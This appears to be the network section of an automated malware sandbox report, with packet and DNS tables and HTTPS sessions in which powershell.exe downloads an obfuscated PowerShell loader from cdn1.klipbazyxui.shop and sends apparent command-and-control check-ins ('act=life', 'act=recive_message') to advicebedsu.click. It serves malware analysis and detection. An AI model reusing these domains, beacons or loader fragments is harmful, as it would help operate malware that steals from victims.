Dec 30, 2024 09:19:30.580507040 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.584753990 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:30.584898949 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:30.584925890 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.033318043 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.033399105 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.033451080 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.033673048 CET	49965	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.033691883 CET	443	49965	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.042027950 CET	49977	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.042056084 CET	443	49977	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.042114973 CET	49977	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.042362928 CET	49977	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.042371988 CET	443	49977	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.495327950 CET	443	49977	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.495394945 CET	49977	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.496990919 CET	49977	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.496997118 CET	443	49977	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.497193098 CET	443	49977	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.498747110 CET	49977	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.498769999 CET	49977	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.498800039 CET	443	49977	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.940345049 CET	443	49977	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.940414906 CET	443	49977	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.940483093 CET	49977	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.940748930 CET	49977	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.940761089 CET	443	49977	104.21.84.241	192.168.2.4
Dec 30, 2024 09:19:32.940773964 CET	49977	443	192.168.2.4	104.21.84.241
Dec 30, 2024 09:19:32.940778017 CET	443	49977	104.21.84.241	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 09:18:05.837017059 CET	61367	53	192.168.2.4	1.1.1.1
Dec 30, 2024 09:18:05.848458052 CET	53	61367	1.1.1.1	192.168.2.4
Dec 30, 2024 09:19:23.373507977 CET	55362	53	192.168.2.4	1.1.1.1
Dec 30, 2024 09:19:23.385745049 CET	53	55362	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 09:18:05.837017059 CET	192.168.2.4	1.1.1.1	0x4819	Standard query (0)	cdn1.klipbazyxui.shop	A (IP address)	IN (0x0001)	false
Dec 30, 2024 09:19:23.373507977 CET	192.168.2.4	1.1.1.1	0x1bee	Standard query (0)	advicebedsu.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 09:18:05.848458052 CET	1.1.1.1	192.168.2.4	0x4819	No error (0)	cdn1.klipbazyxui.shop	104.21.72.190	A (IP address)	IN (0x0001)	false
Dec 30, 2024 09:18:05.848458052 CET	1.1.1.1	192.168.2.4	0x4819	No error (0)	cdn1.klipbazyxui.shop	172.67.154.95	A (IP address)	IN (0x0001)	false
Dec 30, 2024 09:19:23.385745049 CET	1.1.1.1	192.168.2.4	0x1bee	No error (0)	advicebedsu.click	104.21.84.241	A (IP address)	IN (0x0001)	false
Dec 30, 2024 09:19:23.385745049 CET	1.1.1.1	192.168.2.4	0x1bee	No error (0)	advicebedsu.click	172.67.199.103	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cdn1.klipbazyxui.shop

advicebedsu.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.72.190	443	7792	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 08:18:06 UTC	81	OUT	GET /singl5.csx HTTP/1.1 Host: cdn1.klipbazyxui.shop Connection: Keep-Alive
2024-12-30 08:18:06 UTC	998	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 08:18:06 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 8307528 Connection: close X-Powered-By: Express ETag: W/"7ec348-NHlxONIVlqIDG+bHScsilMqgpS8" Set-Cookie: connect.sid=s%3ApZrOcbJ_ZJlLzt3Q5HFaqeVt1fbL5XN9.z9nGPkVK8bluQ8q%2B2r7q7t0VlM5yNxhkLz%2BoLXoXG58; Path=/; HttpOnly cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FEKV0%2FpeSP8AJlMLj13qObvwM%2BVl1QwbYOjfJ44%2B%2F4WHADKUXCcunoz1XFfbUDDCLDzP98vpjzzlP1pv5u51mo%2Bj9qefwZ9yNunfjo8cK7hHtP2P0r7B0owTYv2onzlpz%2Buxp6H2fkk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa098e5edb64414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1748&min_rtt=1739&rtt_var=670&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=695&delivery_rate=1611479&cwnd=172&unsent_bytes=0&cid=4112b1be414b8859&ts=420&x=0"
2024-12-30 08:18:06 UTC	371	IN	Data Raw: 0d 0a 24 79 64 4f 74 77 6b 46 68 20 3d 20 28 28 28 28 28 39 32 38 39 34 31 20 2a 20 2d 31 31 29 20 2b 20 28 28 28 28 31 31 32 38 35 20 2a 20 24 79 64 4f 74 77 6b 46 68 29 20 2b 20 37 31 36 33 36 36 29 20 2b 20 34 35 34 29 29 29 20 2a 20 2d 34 38 37 29 20 2d 20 32 37 33 31 29 20 2b 20 2d 38 38 29 0d 0a 24 52 72 48 56 77 4e 57 46 6b 70 52 20 3d 20 28 28 28 28 28 28 36 38 39 39 38 20 2a 20 28 28 28 28 28 28 34 31 30 37 30 39 20 2a 20 33 36 37 29 20 2b 20 24 52 72 48 56 77 4e 57 46 6b 70 52 29 20 2a 20 24 79 64 4f 74 77 6b 46 68 29 20 2d 20 24 79 64 4f 74 77 6b 46 68 29 20 2d 20 35 39 29 29 29 20 2a 20 28 28 28 28 2d 39 20 2a 20 2d 31 29 20 2d 20 32 36 34 34 35 29 20 2b 20 24 52 72 48 56 77 4e 57 46 6b 70 52 29 29 29 20 2d 20 24 52 72 48 56 77 4e 57 46 6b 70 Data Ascii: $ydOtwkFh = (((((928941 * -11) + ((((11285 * $ydOtwkFh) + 716366) + 454))) * -487) - 2731) + -88)$RrHVwNWFkpR = ((((((68998 * ((((((410709 * 367) + $RrHVwNWFkpR) * $ydOtwkFh) - $ydOtwkFh) - 59))) * ((((-9 * -1) - 26445) + $RrHVwNWFkpR))) - $RrHVwNWFkp
2024-12-30 08:18:06 UTC	1369	IN	Data Raw: 72 79 70 20 2b 20 28 28 28 24 4d 6c 6a 77 4a 72 79 70 20 2d 20 2d 31 32 33 31 39 29 20 2d 20 24 79 64 4f 74 77 6b 46 68 29 29 29 20 2b 20 24 79 64 4f 74 77 6b 46 68 29 0d 0a 24 4b 76 48 6f 6a 56 52 4b 6f 20 3d 20 28 28 28 28 24 79 64 4f 74 77 6b 46 68 20 2b 20 39 38 30 29 20 2b 20 24 52 72 48 56 77 4e 57 46 6b 70 52 29 20 2d 20 2d 35 31 35 33 31 29 20 2a 20 24 52 72 48 56 77 4e 57 46 6b 70 52 29 0d 0a 24 79 51 55 49 4d 48 68 57 20 3d 20 28 28 28 28 28 24 4d 6c 6a 77 4a 72 79 70 20 2b 20 24 79 64 4f 74 77 6b 46 68 29 20 2a 20 2d 31 38 33 29 20 2d 20 35 34 32 35 29 20 2b 20 2d 37 38 30 29 20 2a 20 24 79 51 55 49 4d 48 68 57 29 0d 0a 24 6c 4b 76 48 73 76 53 46 4b 68 20 3d 20 28 28 24 79 64 4f 74 77 6b 46 68 20 2d 20 28 28 28 28 28 28 24 6c 4b 76 48 73 76 53 Data Ascii: ryp + ((($MljwJryp - -12319) - $ydOtwkFh))) + $ydOtwkFh)$KvHojVRKo = (((($ydOtwkFh + 980) + $RrHVwNWFkpR) - -51531) * $RrHVwNWFkpR)$yQUIMHhW = ((((($MljwJryp + $ydOtwkFh) * -183) - 5425) + -780) * $yQUIMHhW)$lKvHsvSFKh = (($ydOtwkFh - (((((($lKvHsvS
2024-12-30 08:18:06 UTC	1369	IN	Data Raw: 20 2d 39 36 38 29 20 2d 20 24 77 74 79 63 4a 42 51 4f 45 29 20 2d 20 24 66 6b 75 56 62 58 5a 6f 65 56 5a 29 20 2a 20 24 79 64 4f 74 77 6b 46 68 29 0d 0a 24 5a 6f 4d 77 7a 6f 20 3d 20 28 28 28 28 28 24 41 75 51 44 42 68 47 5a 4b 20 2a 20 28 28 28 36 37 35 31 36 38 20 2a 20 2d 39 32 29 20 2a 20 24 52 72 48 56 77 4e 57 46 6b 70 52 29 29 29 20 2a 20 28 28 28 28 2d 31 20 2b 20 24 6c 4b 76 48 73 76 53 46 4b 68 29 20 2a 20 2d 38 30 30 34 35 29 20 2b 20 24 79 51 55 49 4d 48 68 57 29 29 29 20 2a 20 35 32 36 34 34 34 29 20 2d 20 24 6a 5a 79 4a 78 78 41 6c 59 29 20 2d 20 35 38 32 37 32 29 0d 0a 24 7a 66 71 72 71 73 48 73 49 66 6d 20 3d 20 28 28 24 73 6f 65 4b 69 59 44 6b 71 65 59 20 2b 20 24 6c 4b 76 48 73 76 53 46 4b 68 29 20 2a 20 24 4b 76 48 6f 6a 56 52 4b 6f 29 Data Ascii: -968) - $wtycJBQOE) - $fkuVbXZoeVZ) * $ydOtwkFh)$ZoMwzo = ((((($AuQDBhGZK * (((675168 * -92) * $RrHVwNWFkpR))) * ((((-1 + $lKvHsvSFKh) * -80045) + $yQUIMHhW))) * 526444) - $jZyJxxAlY) - 58272)$zfqrqsHsIfm = (($soeKiYDkqeY + $lKvHsvSFKh) * $KvHojVRKo)
2024-12-30 08:18:06 UTC	1369	IN	Data Raw: 76 48 6f 6a 56 52 4b 6f 20 2a 20 24 5a 63 69 55 6a 75 55 62 59 29 20 2b 20 24 67 67 4a 64 54 56 74 6e 70 43 29 29 29 20 2a 20 2d 37 39 34 30 37 29 20 2a 20 36 29 0d 0a 20 20 20 20 69 66 20 28 28 24 41 75 51 44 42 68 47 5a 4b 20 2d 6c 74 20 24 71 6f 46 70 4c 68 6e 66 29 20 2d 6f 72 20 28 24 52 72 48 56 77 4e 57 46 6b 70 52 20 2d 65 71 20 2d 33 32 35 32 29 20 2d 6f 72 20 28 38 20 2d 67 65 20 24 7a 66 71 72 71 73 48 73 49 66 6d 29 20 2d 6f 72 20 28 24 5a 63 69 55 6a 75 55 62 59 20 2d 67 74 20 24 6c 4b 76 48 73 76 53 46 4b 68 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 6e 4e 73 4c 73 4c 62 53 47 20 3d 20 28 28 28 24 7a 66 71 72 71 73 48 73 49 66 6d 20 2b 20 2d 33 35 39 38 29 20 2b 20 28 28 28 24 6c 4b 76 48 73 76 53 46 4b 68 20 2d 20 24 73 6f 65 4b 69 59 44 Data Ascii: vHojVRKo * $ZciUjuUbY) + $ggJdTVtnpC))) * -79407) * 6) if (($AuQDBhGZK -lt $qoFpLhnf) -or ($RrHVwNWFkpR -eq -3252) -or (8 -ge $zfqrqsHsIfm) -or ($ZciUjuUbY -gt $lKvHsvSFKh)) { $nNsLsLbSG = ((($zfqrqsHsIfm + -3598) + ((($lKvHsvSFKh - $soeKiYD
2024-12-30 08:18:06 UTC	1369	IN	Data Raw: 20 24 7a 66 71 72 71 73 48 73 49 66 6d 29 29 0d 0a 20 20 20 20 69 66 20 28 28 34 36 20 2d 6c 65 20 24 73 6f 65 4b 69 59 44 6b 71 65 59 29 20 2d 61 6e 64 20 28 32 20 2d 6e 65 20 2d 32 29 20 2d 61 6e 64 20 28 24 67 67 4a 64 54 56 74 6e 70 43 20 2d 6c 65 20 24 41 6e 50 74 6e 43 4a 56 41 50 4a 29 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 24 67 48 66 64 72 4f 46 20 3d 20 28 28 28 28 28 28 28 2d 31 36 35 33 33 30 20 2d 20 24 7a 64 74 6d 50 43 49 64 6a 65 29 20 2a 20 28 28 28 28 2d 39 38 35 39 37 20 2d 20 24 71 6f 46 70 4c 68 6e 66 29 20 2a 20 33 38 37 39 30 29 20 2a 20 37 32 33 35 38 37 29 29 29 20 2b 20 2d 38 35 36 35 29 20 2b 20 28 28 28 28 24 56 41 58 70 51 68 20 2d 20 2d 37 34 34 32 35 29 20 2b 20 24 73 6f 65 4b 69 59 44 6b 71 65 59 29 20 2a 20 24 41 75 51 44 Data Ascii: $zfqrqsHsIfm)) if ((46 -le $soeKiYDkqeY) -and (2 -ne -2) -and ($ggJdTVtnpC -le $AnPtnCJVAPJ)) { $gHfdrOF = (((((((-165330 - $zdtmPCIdje) * ((((-98597 - $qoFpLhnf) * 38790) * 723587))) + -8565) + (((($VAXpQh - -74425) + $soeKiYDkqeY) * $AuQD
2024-12-30 08:18:06 UTC	1369	IN	Data Raw: 70 52 29 20 2b 20 24 5a 63 69 55 6a 75 55 62 59 29 20 2b 20 31 38 29 20 2a 20 28 28 28 28 28 24 66 6b 75 56 62 58 5a 6f 65 56 5a 20 2d 20 2d 35 35 31 32 37 29 20 2d 20 28 28 28 28 28 28 24 7a 64 74 6d 50 43 49 64 6a 65 20 2b 20 2d 32 29 20 2b 20 24 6c 4b 76 48 73 76 53 46 4b 68 29 20 2d 20 24 6c 4b 76 48 73 76 53 46 4b 68 29 20 2b 20 24 4a 4f 44 52 52 75 29 20 2d 20 24 67 67 4a 64 54 56 74 6e 70 43 29 29 29 29 20 2a 20 28 28 28 28 2d 38 32 30 20 2d 20 33 38 34 39 29 20 2d 20 36 37 30 29 20 2b 20 2d 33 32 33 34 30 34 29 20 2b 20 31 30 29 29 29 29 29 29 20 2a 20 2d 37 32 33 33 29 20 2a 20 35 37 33 37 34 29 29 20 2b 20 28 28 36 30 20 2a 20 28 28 28 28 24 58 72 76 4b 6c 6a 20 2d 20 24 4a 4f 44 52 52 75 29 20 2a 20 24 5a 6f 4d 77 7a 6f 29 20 2d 20 37 29 29 29 Data Ascii: pR) + $ZciUjuUbY) + 18) * ((((($fkuVbXZoeVZ - -55127) - (((((($zdtmPCIdje + -2) + $lKvHsvSFKh) - $lKvHsvSFKh) + $JODRRu) - $ggJdTVtnpC)))) * ((((-820 - 3849) - 670) + -323404) + 10)))))) * -7233) * 57374)) + ((60 * (((($XrvKlj - $JODRRu) * $ZoMwzo) - 7)))
2024-12-30 08:18:06 UTC	1369	IN	Data Raw: 20 2d 34 39 29 20 2a 20 24 5a 6f 4d 77 7a 6f 29 20 2b 20 24 67 67 4a 64 54 56 74 6e 70 43 29 20 2d 20 24 67 67 4a 64 54 56 74 6e 70 43 29 20 2b 20 2d 35 35 33 31 34 29 29 29 20 2a 20 32 37 30 29 0d 0a 20 20 20 20 24 67 59 65 52 44 68 62 52 4f 2d 2d 0d 0a 7d 0d 0a 69 66 20 28 28 36 34 36 39 20 2d 6c 74 20 24 7a 64 74 6d 50 43 49 64 6a 65 29 20 2d 6f 72 20 28 24 56 41 58 70 51 68 20 2d 6c 74 20 2d 31 32 39 29 29 20 7b 0d 0a 20 20 20 20 24 79 51 55 49 4d 48 68 57 20 3d 20 28 28 28 28 28 28 28 24 71 6f 46 70 4c 68 6e 66 20 2a 20 28 28 28 28 28 24 71 6f 46 70 4c 68 6e 66 20 2b 20 28 28 28 2d 31 32 36 34 33 32 20 2b 20 24 52 72 48 56 77 4e 57 46 6b 70 52 29 20 2a 20 2d 35 31 35 39 30 33 29 29 29 20 2b 20 24 67 67 4a 64 54 56 74 6e 70 43 29 20 2d 20 24 6c 4b 76 Data Ascii: -49) * $ZoMwzo) + $ggJdTVtnpC) - $ggJdTVtnpC) + -55314))) * 270) $gYeRDhbRO--}if ((6469 -lt $zdtmPCIdje) -or ($VAXpQh -lt -129)) { $yQUIMHhW = ((((((($qoFpLhnf * ((((($qoFpLhnf + (((-126432 + $RrHVwNWFkpR) * -515903))) + $ggJdTVtnpC) - $lKv
2024-12-30 08:18:06 UTC	1369	IN	Data Raw: 2a 20 24 73 6f 65 4b 69 59 44 6b 71 65 59 29 20 2b 20 24 76 76 6b 45 44 50 61 62 29 20 2d 20 24 56 41 58 70 51 68 29 20 2b 20 28 28 28 28 28 28 35 37 34 20 2b 20 24 67 67 4a 64 54 56 74 6e 70 43 29 20 2a 20 24 4c 46 7a 68 4e 6f 62 6a 5a 29 20 2d 20 33 38 31 29 20 2d 20 24 79 64 4f 74 77 6b 46 68 29 20 2a 20 2d 32 34 39 36 37 38 29 29 29 20 2d 20 2d 36 29 29 0d 0a 7d 0d 0a 24 51 4e 54 5a 43 42 20 3d 20 36 0d 0a 77 68 69 6c 65 20 28 24 51 4e 54 5a 43 42 20 2d 67 74 20 30 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 28 24 52 72 48 56 77 4e 57 46 6b 70 52 20 2d 6c 74 20 31 30 33 29 20 2d 61 6e 64 20 28 24 77 74 79 63 4a 42 51 4f 45 20 2d 6c 65 20 2d 35 31 37 35 37 38 29 20 2d 61 6e 64 20 28 24 62 48 43 78 7a 43 5a 20 2d 6c 74 20 30 29 29 20 7b 0d 0a 20 20 20 20 20 Data Ascii: * $soeKiYDkqeY) + $vvkEDPab) - $VAXpQh) + ((((((574 + $ggJdTVtnpC) * $LFzhNobjZ) - 381) - $ydOtwkFh) * -249678))) - -6))}$QNTZCB = 6while ($QNTZCB -gt 0) { if (($RrHVwNWFkpR -lt 103) -and ($wtycJBQOE -le -517578) -and ($bHCxzCZ -lt 0)) {
2024-12-30 08:18:06 UTC	1369	IN	Data Raw: 24 66 6b 75 56 62 58 5a 6f 65 56 5a 20 3d 20 28 28 28 2d 35 37 39 20 2a 20 31 34 39 30 29 20 2b 20 2d 39 39 38 32 29 20 2b 20 2d 39 39 29 0d 0a 69 66 20 28 28 2d 37 39 30 20 2d 6c 74 20 24 77 74 79 63 4a 42 51 4f 45 29 20 2d 61 6e 64 20 28 24 56 41 58 70 51 68 20 2d 6e 65 20 24 4a 4f 44 52 52 75 29 20 2d 61 6e 64 20 28 24 5a 6f 4d 77 7a 6f 20 2d 65 71 20 24 7a 66 71 72 71 73 48 73 49 66 6d 29 29 20 7b 0d 0a 20 20 20 20 24 4a 4f 44 52 52 75 20 3d 20 28 28 28 28 28 24 58 72 76 4b 6c 6a 20 2d 20 28 28 28 28 28 28 24 5a 63 69 55 6a 75 55 62 59 20 2d 20 2d 36 39 34 36 29 20 2b 20 24 58 72 76 4b 6c 6a 29 20 2a 20 28 28 28 28 28 28 2d 33 38 32 20 2b 20 36 30 31 30 29 20 2a 20 2d 34 29 20 2d 20 33 37 29 20 2a 20 39 39 37 31 29 20 2d 20 24 56 41 58 70 51 68 29 29 Data Ascii: $fkuVbXZoeVZ = (((-579 * 1490) + -9982) + -99)if ((-790 -lt $wtycJBQOE) -and ($VAXpQh -ne $JODRRu) -and ($ZoMwzo -eq $zfqrqsHsIfm)) { $JODRRu = ((((($XrvKlj - (((((($ZciUjuUbY - -6946) + $XrvKlj) * ((((((-382 + 6010) * -4) - 37) * 9971) - $VAXpQh))
2024-12-30 08:18:06 UTC	1191	IN	Data Raw: 6c 65 20 28 24 53 63 6a 77 5a 57 47 20 2d 67 74 20 30 29 20 7b 0d 0a 20 20 20 20 24 79 51 55 49 4d 48 68 57 20 3d 20 28 28 28 28 28 24 7a 64 74 6d 50 43 49 64 6a 65 20 2d 20 24 66 6b 75 56 62 58 5a 6f 65 56 5a 29 20 2a 20 28 28 28 28 28 24 52 72 48 56 77 4e 57 46 6b 70 52 20 2a 20 2d 38 29 20 2d 20 38 31 35 33 29 20 2a 20 24 4d 6c 6a 77 4a 72 79 70 29 20 2a 20 24 79 49 70 65 6d 75 4f 63 66 29 29 29 20 2a 20 28 28 28 28 24 6c 4b 76 48 73 76 53 46 4b 68 20 2a 20 2d 38 35 38 29 20 2a 20 2d 34 35 29 20 2a 20 24 76 76 6b 45 44 50 61 62 29 29 29 29 20 2b 20 28 28 28 24 76 76 6b 45 44 50 61 62 20 2d 20 24 79 51 55 49 4d 48 68 57 29 20 2b 20 24 5a 6f 4d 77 7a 6f 29 20 2a 20 2d 34 38 32 39 34 39 29 29 0d 0a 20 20 20 20 24 79 51 55 49 4d 48 68 57 20 3d 20 28 28 28 Data Ascii: le ($ScjwZWG -gt 0) { $yQUIMHhW = ((((($zdtmPCIdje - $fkuVbXZoeVZ) * ((((($RrHVwNWFkpR * -8) - 8153) * $MljwJryp) * $yIpemuOcf))) * (((($lKvHsvSFKh * -858) * -45) * $vvkEDPab)))) + ((($vvkEDPab - $yQUIMHhW) + $ZoMwzo) * -482949)) $yQUIMHhW = (((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49916	104.21.84.241	443	7652	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 08:19:23 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: advicebedsu.click
2024-12-30 08:19:23 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-30 08:19:24 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 08:19:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jl2cboucta7esi49l680athj7a; expires=Fri, 25 Apr 2025 02:06:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rdq0ZQdUuXgx8aMl8D89vOPwawoe7kzORpYYaJ1Yp%2BX6YszLQFlTq0voNU8CYgGHCS6IJxxTd%2F9%2FPcOvcjcnlrBvr7BRHR2t8qlFp3YmzRBdKvEHBN7RLuUBUiRXhyTaIGKhdQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa09aca7a04434b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1581&rtt_var=604&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=908&delivery_rate=1796923&cwnd=243&unsent_bytes=0&cid=87618416b26ce696&ts=468&x=0"
2024-12-30 08:19:24 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-30 08:19:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49922	104.21.84.241	443	7652	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 08:19:24 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 48 Host: advicebedsu.click
2024-12-30 08:19:24 UTC	48	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 4a 45 63 61 47 2d 2d 73 69 6e 67 6c 35 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yJEcaG--singl5&j=
2024-12-30 08:19:25 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 08:19:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2dnr026r6q5i409f1b7imsrru3; expires=Fri, 25 Apr 2025 02:06:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EKZe9J3e33Tcugs0270SMGcW%2BZ6DOj7owqg%2F3JXpz6QTjiaS7iHa0ORG2P9UFAYsBPEfYfEgZJFf8bJolzByFqWY6sPVbgq96bxNSpSkQUkvYCekezjGLhDeiB1fMH0i0TnQmw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa09ad0f82e424d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1631&min_rtt=1595&rtt_var=624&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=949&delivery_rate=1830721&cwnd=208&unsent_bytes=0&cid=fc6c8f569b1e3443&ts=603&x=0"
2024-12-30 08:19:25 UTC	242	IN	Data Raw: 34 36 35 0d 0a 74 4a 78 72 6b 2f 46 4e 53 68 64 42 49 6b 54 73 54 73 42 2f 76 42 41 79 63 41 33 57 62 54 36 53 50 35 44 65 30 34 70 65 57 61 76 50 76 68 32 78 79 33 6c 6d 4e 54 4a 48 5a 74 59 36 73 67 72 5a 50 42 41 52 61 66 52 58 57 50 4e 54 34 37 76 2f 71 43 67 30 69 59 37 36 43 76 2b 43 4b 47 59 31 4a 46 70 6d 31 68 57 37 58 64 6c 2b 45 45 6f 76 73 77 64 63 38 31 50 79 76 37 6a 6c 4c 6a 58 49 33 50 41 4d 2b 35 51 75 4c 6e 59 74 54 79 47 4a 4b 36 45 56 30 6e 6c 66 47 47 44 30 51 52 7a 33 52 62 4c 6b 38 63 63 37 4c 63 72 35 2f 52 6a 34 30 7a 42 6d 62 47 4e 48 4b 73 35 30 34 68 37 5a 63 6c 34 57 61 62 30 46 56 76 70 62 38 37 71 35 2b 6a 63 2f 77 39 7a 2b 44 2f 71 65 4a 7a 70 37 4a 30 67 71 6a 79 47 68 58 5a 41 79 56 Data Ascii: 465tJxrk/FNShdBIkTsTsB/vBAycA3WbT6SP5De04peWavPvh2xy3lmNTJHZtY6sgrZPBARafRXWPNT47v/qCg0iY76Cv+CKGY1JFpm1hW7Xdl+EEovswdc81Pyv7jlLjXI3PAM+5QuLnYtTyGJK6EV0nlfGGD0QRz3RbLk8cc7Lcr5/Rj40zBmbGNHKs504h7Zcl4Wab0FVvpb87q5+jc/w9z+D/qeJzp7J0gqjyGhXZAyV
2024-12-30 08:19:25 UTC	890	IN	Data Raw: 77 6f 76 37 45 38 50 77 6c 37 6a 72 61 54 6c 4c 44 32 4a 79 62 41 51 73 5a 51 6a 61 43 31 6a 53 43 71 41 4b 61 45 53 32 58 4e 51 41 47 43 30 44 46 54 34 57 66 69 7a 76 75 63 79 4d 63 37 65 39 77 37 2b 6c 43 63 75 65 69 41 41 61 4d 34 72 75 6c 32 47 4d 6e 41 43 62 4c 63 62 55 65 45 64 37 66 4b 6f 71 44 73 33 69 59 36 2b 44 2f 2b 53 49 69 68 6e 4b 30 73 74 69 7a 36 70 46 4e 4e 2f 55 42 39 6c 75 77 78 63 39 31 66 34 73 37 76 73 4d 54 62 50 31 76 35 4a 76 39 4d 6f 4d 44 56 37 41 41 57 4c 50 4b 55 52 79 44 42 71 55 6e 44 36 46 68 7a 33 55 62 4c 6b 38 65 41 35 4f 4d 72 64 38 51 72 35 6d 44 30 6f 5a 79 56 4e 49 35 77 71 70 78 50 55 63 55 49 59 59 62 49 4d 56 66 74 55 39 37 75 31 71 48 4a 37 7a 73 36 2b 55 62 47 79 49 69 4e 35 4b 56 63 6d 7a 6a 50 73 42 4a 35 31 Data Ascii: wov7E8Pwl7jraTlLD2JybAQsZQjaC1jSCqAKaES2XNQAGC0DFT4WfizvucyMc7e9w7+lCcueiAAaM4rul2GMnACbLcbUeEd7fKoqDs3iY6+D/+SIihnK0stiz6pFNN/UB9luwxc91f4s7vsMTbP1v5Jv9MoMDV7AAWLPKURyDBqUnD6Fhz3UbLk8eA5OMrd8Qr5mD0oZyVNI5wqpxPUcUIYYbIMVftU97u1qHJ7zs6+UbGyIiN5KVcmzjPsBJ51
